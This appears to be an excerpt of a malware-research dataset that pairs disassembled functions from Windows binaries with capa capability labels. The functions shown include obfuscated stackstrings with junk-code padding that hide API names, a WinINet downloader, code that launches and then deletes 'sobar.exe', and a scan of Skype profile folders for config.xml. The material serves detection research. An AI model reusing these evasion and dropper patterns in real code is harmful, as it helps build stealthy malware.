joyce8/EMBER2024-capa huggingface dataset:
Function at 0x57049e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xf
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0056bf6f
add esp, 0xc
ror ecx, 0x14
rol ecx, 0x14
jne 0x5704ca
jp 0x5704c1
lea esi, [esi]
jl 0x5704c5
lea esi, [esi]
je 0x5704ca
mov ecx, 0x57e845c6
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x13], 0x62
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0x17], 0x6a
mov byte [ebp - 0x12], 0x6d
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x11], 0x51
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xa], 0
shl esp, 0
mov edx, edx
jne 0x57051a
mov esi, esi
jg 0x570511
xchg esp, esp
xchg esi, edx
xchg esi, edx
je 0x57051a
add eax, 0x80e84d8a
jmp 0xe8a48d24
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
call fcn.0056bf9e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x5705a9
xor eax, eax
jmp 0x570629
xor edx, 0
js 0x5705b7
mov esi, esi
jne 0x5705b2
jle 0x5705b4
jns 0x5705b7
mov eax, 0x50e8458d
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0055bb1d
mov dword [ebp - 4], eax
push 0xf
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.0056bf6f
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x5705e1
xor eax, eax
jmp 0x570629
cmc
nop
rol esp, 0
jp 0x5705f0
jns 0x5705ea
mov esp, esp
jnp 0x5705f0
lcall 0xe850, 0xfc458b07
sub bh, byte [0xc483fffe]
add al, 0xc1
leave
add bh, dh
xlatb
mov eax, dword [ebp - 4]
push eax
call fcn.00554323
add esp, 4
ror ecx, 0
not edi
not edi
lea esi, [esi + 0x781]
lea esi, [esi - 0x781]
jp 0x570616
jo 0x570613
jnp 0x570616
mov ebx, 0x51144d8b
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x572829
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x54f2d4], 1
jne 0x572999
push 0xc
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0056bf6f
add esp, 0xc
std
cld
add eax, dword [esp]
sub eax, dword [esp]
or esp, 0
ror ecx, 0x15
rol ecx, 0x15
jp 0x57286c
lea esp, [esp]
jl 0x572867
jnp 0x57286c
mov ebp, 0x45c6fd80
call 0xed9ceebb
insd dword es:[edi], dx
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x42
mov byte [ebp - 0xd], 0
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x70
xor eax, dword [esp]
xor eax, dword [esp]
jle 0x5728bc
pushf
test edx, 0x654a
lea edi, [edi]
ror esi, 0x13
rol esi, 0x13
popf
lea esp, [esp]
jg 0x5728bc
mov ebp, 0x80e84d8a
jmp 0xe8a4b0c6
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
call fcn.0056bf9e
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x572931
xor eax, eax
jmp 0x5729e9
jnp 0x572933
test ecx, 0x436a
je 0x572941
jns 0x57293d
jne 0x572941
add eax, 0xe8458dc9
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0055bb1d
mov ecx, dword [0x54f2d4]
mov dword [ebp - 8], ecx
Function at 0x572ee8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0056bf6f
add esp, 0xc
shl esp, 0
not ebx
not ebx
jo 0x572f0f
jl 0x572f0c
jno 0x572f0f
mov ebx, 0x46f045c6
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
jb 0x572f41
jns 0x572f43
jns 0x572f4a
jmp 0x572f47
js 0x572f4a
sub eax, 0x80f04d8a
jmp 0xf0a4b754
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
rol ecx, 0x19
ror ecx, 0x19
js 0x572fb7
xchg edi, eax
xchg edi, eax
jns 0x572fb7
lcall 0x89ff, 0xff8fe2e8
inc ebp
cld
call fcn.0056bf9e
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x572fc9
xor eax, eax
jmp 0x573003
ja 0x572fcb
xor edi, dword [esp]
xor edi, dword [esp]
test eax, edi
jb 0x572fe0
mov esp, esp
lea edi, [edi]
ja 0x572fdb
jb 0x572fdd
jae 0x572fe0
mov ebp, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0055bb1d
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0056bf6f
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x573b37
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0056bf6f
add esp, 0xc
jae 0x573b52
xor eax, dword [esp]
xor eax, dword [esp]
jl 0x573b5a
jne 0x573b5c
jne 0x573b79
pushf
std
cld
nop
ror ecx, 0
lea esi, [esi + 0x2b4e]
lea esi, [esi - 0x2b4e]
popf
je 0x573b76
je 0x573b79
mov ecx, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x62
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 0xc], 0
xchg ebx, ebx
test edi, 0x141c
jne 0x573bc1
je 0x573bb9
nop
jno 0x573bbc
jno 0x573bbe
je 0x573bc1
add eax, 0x80e84d8a
jmp 0xe8a4c3cb
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
jbe 0x573c2b
rol esi, 0xa
ror esi, 0xa
jnp 0x573c46
pushf
stc
jae 0x573c38
mov esi, esi
rol edi, 0
popf
xchg ebx, ebx
xchg ebx, ebx
jp 0x573c46
xor eax, 0xff8353e8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 7], dh
call fcn.0056bf9e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x573c5b
xor eax, eax
jmp 0x573d1b
jg 0x573c5d
cmp edx, dword [esp]
std
cld
not edx
not edx
jle 0x573c71
mov eax, eax
jbe 0x573c6c
jle 0x573c6e
jg 0x573c71
lcall 0x558b, 0x51e84d8d
clc
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0055bb1d
mov dword [ebp - 4], eax
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0056bf6f
add esp, 0xc
xor eax, dword [esp]
xor eax, dword [esp]
and edi, 0xffffffff
or esp, 0
shr eax, 0
jp 0x573cac
xchg esi, esi
js 0x573ca6
xchg esp, esp
jnp 0x573cac
add eax, 0xfc7d830f
add byte [ebp + 4], dh
cmp dword [ebp - 4], 0
jne 0x573cb6
xor eax, eax
jmp 0x573d1b
add ecx, 0
ja 0x573cda
pushf
test esi, 0x6129
xor ebx, 0
xchg ebx, ecx
xchg ebx, ecx
ror eax, 5
rol eax, 5
popf
ja 0x573cd4
nop
jno 0x573cd7
jbe 0x573cda
or dword [ebx - 0x17ae03b3], 0xfffe0640
mov ecx, dword [ebp - 4]
push ecx
call fcn.00554323
add esp, 4
test eax, 0x3041
jg 0x573ced
cmp esp, 0x2217
xor edx, ecx
xor edx, ecx
jbe 0x573d14
pushf
nop
jp 0x573cfe
call 0x573d03
lea esp, [esp + 4]
test dword [esp + 8], edi
popf
xchg ecx, eax
xchg ecx, eax
lea edi, [edi]
ja 0x573d14
mov edi, 0x5208558b
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x573d24
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0056bf6f
add esp, 0xc
sub eax, 0
xor ecx, 0x740b
xor ecx, 0x740b
jle 0x573d59
pushf
mov esp, esp
popf
jne 0x573d56
jg 0x573d59
add eax, 0x44ec45c6
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x6d
cmp edx, ecx
xchg ebx, ebx
ror ebx, 0
jo 0x573d97
xchg esi, eax
xchg esi, eax
jno 0x573d97
or dword [edx - 0x167f13b3], 0xec4d8801
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0056bf9e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x573e0c
xor eax, eax
jmp 0x573e9f
jae 0x573e0e
je 0x573e10
jae 0x573e2c
pushf
nop
xor ebx, dword [esp + 8]
xor ebx, dword [esp + 8]
cmp ebx, ecx
popf
jae 0x573e23
xchg edx, esi
xchg edx, esi
jl 0x573e29
jb 0x573e2c
add eax, 0x50ec458d
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0055bb1d
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0056bf6f
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x573e56
xor eax, eax
jmp 0x573e9f
sub eax, 0
lea esi, [esi]
test esi, 0x1188
jae 0x573e71
pushf
xchg edi, edi
ror esp, 0
popf
jne 0x573e6e
jb 0x573e71
mov esp, 0x50fc458b
mov eax, dword [ebp - 4]
push eax
call fcn.00554323
add esp, 4
jg 0x573e7f
xchg edx, edx
dec edi
inc edi
add esp, 0
jo 0x573e98
pushf
not ecx
not ecx
clc
popf
jo 0x573e93
jbe 0x573e95
jno 0x573e98
mov edi, 0x51084d8b
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x575081
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x54f2d8], 1
jne 0x5751d1
push 0xb
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0056bf6f
add esp, 0xc
mov ecx, ecx
xchg edx, ebx
xchg edx, ebx
jbe 0x5750ba
jl 0x5750b1
jne 0x5750b3
xchg esi, esi
jnp 0x5750b7
ja 0x5750ba
mov esp, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x47
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x66
rol eax, 0x14
ror eax, 0x14
xchg edi, esi
xchg edi, esi
and esi, 0xffffffff
sub esi, 0
jnp 0x57510d
pushf
lea edx, [edx]
test esp, 0x6179
xchg edx, edi
xchg edx, edi
popf
je 0x57510a
jp 0x57510d
add eax, 0x80e84d8a
jmp 0xe8a4d917
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
call fcn.0056bf9e
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x57517a
mov eax, dword [ebp + 8]
jmp 0x575233
or eax, 0
shr eax, 0
jnp 0x575199
pushf
test dword [esp], edx
jne 0x575189
cmp edx, dword [esp + 0x10]
popf
lea esp, [esp]
jns 0x575194
xchg esi, esi
jp 0x575199
jmp 0x533fa72a
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0055bb1d
mov dword [ebp - 8], eax
push 0xb
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0056bf6f
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x5751ca
mov edx, dword [ebp - 8]
mov dword [0x54f2d8], edx
jmp 0x5751cf
mov eax, dword [ebp + 8]
jmp 0x575233
jmp 0x5751d9
mov eax, dword [0x54f2d8]
mov dword [ebp - 8], eax
jns 0x5751db
clc
jb 0x5751ec
jno 0x5751e0
xchg esi, ebx
xchg esi, ebx
jb 0x5751e6
mov esi, esi
jae 0x5751ec
and dword [ebx], 0x89f84d8b
dec ebp
cld
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
test edi, 0x437a
jae 0x5751fa
jne 0x575201
mov esp, esp
je 0x575201
mov ebx, 0x52fc558b
mov edx, dword [ebp - 4]
push edx
call fcn.00554323
add esp, 4
rol esp, 0
nop
jg 0x57522c
pushf
ror ecx, 0x19
rol ecx, 0x19
rol eax, 0x16
rol eax, 0xa
jns 0x575223
jo 0x575225
popf
je 0x575229
jle 0x57522c
or dword [ebx - 0xaff7bb], 0x5e5ffc55
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401e10
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0
push 0
push 0
push 0
push 0x40d178
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0
jne 0x401e42
xor al, al
jmp 0x401f56
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x804]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 0
jne 0x401e81
mov edx, dword [ebp - 0x804]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x401f56
push 0x400
push 0
lea eax, [ebp - 0x800]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.No_input_file_specified._n
lea edx, [ebp - 0x400]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x80c]
push eax
push 0x400
lea ecx, [ebp - 0x800]
push ecx
mov edx, dword [ebp - 0x808]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
xor ecx, ecx
cmp ecx, dword [ebp - 0x80c]
sbb edx, edx
neg edx
and eax, edx
test eax, eax
je 0x401f3a
lea eax, [ebp - 0x400]
push eax
lea ecx, [ebp - 0x800]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x401f21
push 0
push 0
lea edx, [ebp - 0x800]
push edx
call sub.MFC42.DLL_AfxMessageBox_1
xor al, al
jmp 0x401f56
lea eax, [ebp - 0x800]
push eax
push 0x40d1b0
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x808]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x804]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x403d03
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40934c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
mov dword [ebp - 0x78], ecx
push 0x44
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x50], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x60]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x78]
add edx, 0x14
push edx
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov dword [ebp - 4], 0
push str._sobar.exe
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403dc5
push 0xffffffffffffffff
mov edx, dword [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0xa
call fcn.00408545
add esp, 0xc
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 0x74], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0x74]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4054ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409576
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x274
mov dword [ebp - 0x278], ecx
mov ecx, dword [ebp + 8]
call fcn.004059a0
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x405534
jmp 0x4056a7
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::CFileFind
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x114]
push ecx
push str._sSkype.
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::FindFile
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40568a
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x405685
lea ecx, [ebp - 0x130]
call fcn.00405980
test eax, eax
je 0x405685
lea ecx, [ebp - 0x25c]
push ecx
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov byte [ebp - 4], 1
push str.config.xml
lea ecx, [ebp - 0x25c]
call fcn.00408b74
lea edx, [ebp - 0x258]
push edx
lea ecx, [ebp - 0x25c]
call fcn.00401910
push eax
call dword [sym.imp.MSVCRT.dll__stat]
add esp, 8
test eax, eax
jne 0x405676
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x274]
push ecx
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::GetFileName
mov dword [ebp - 0x27c], eax
mov edx, dword [ebp - 0x27c]
mov dword [ebp - 0x280], edx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x280]
call fcn.00401910
push eax
lea ecx, [ebp - 0x26c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov byte [ebp - 4], 3
lea eax, [ebp - 0x26c]
push eax
mov ecx, dword [ebp + 8]
call fcn.004040b0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x26c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x274]
call fcn.00408b14
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x25c]
call fcn.00408b14
jmp 0x405579
lea ecx, [ebp - 0x130]
call sub.MFC42.DLL_CFileFind::Close
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.00408c8e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4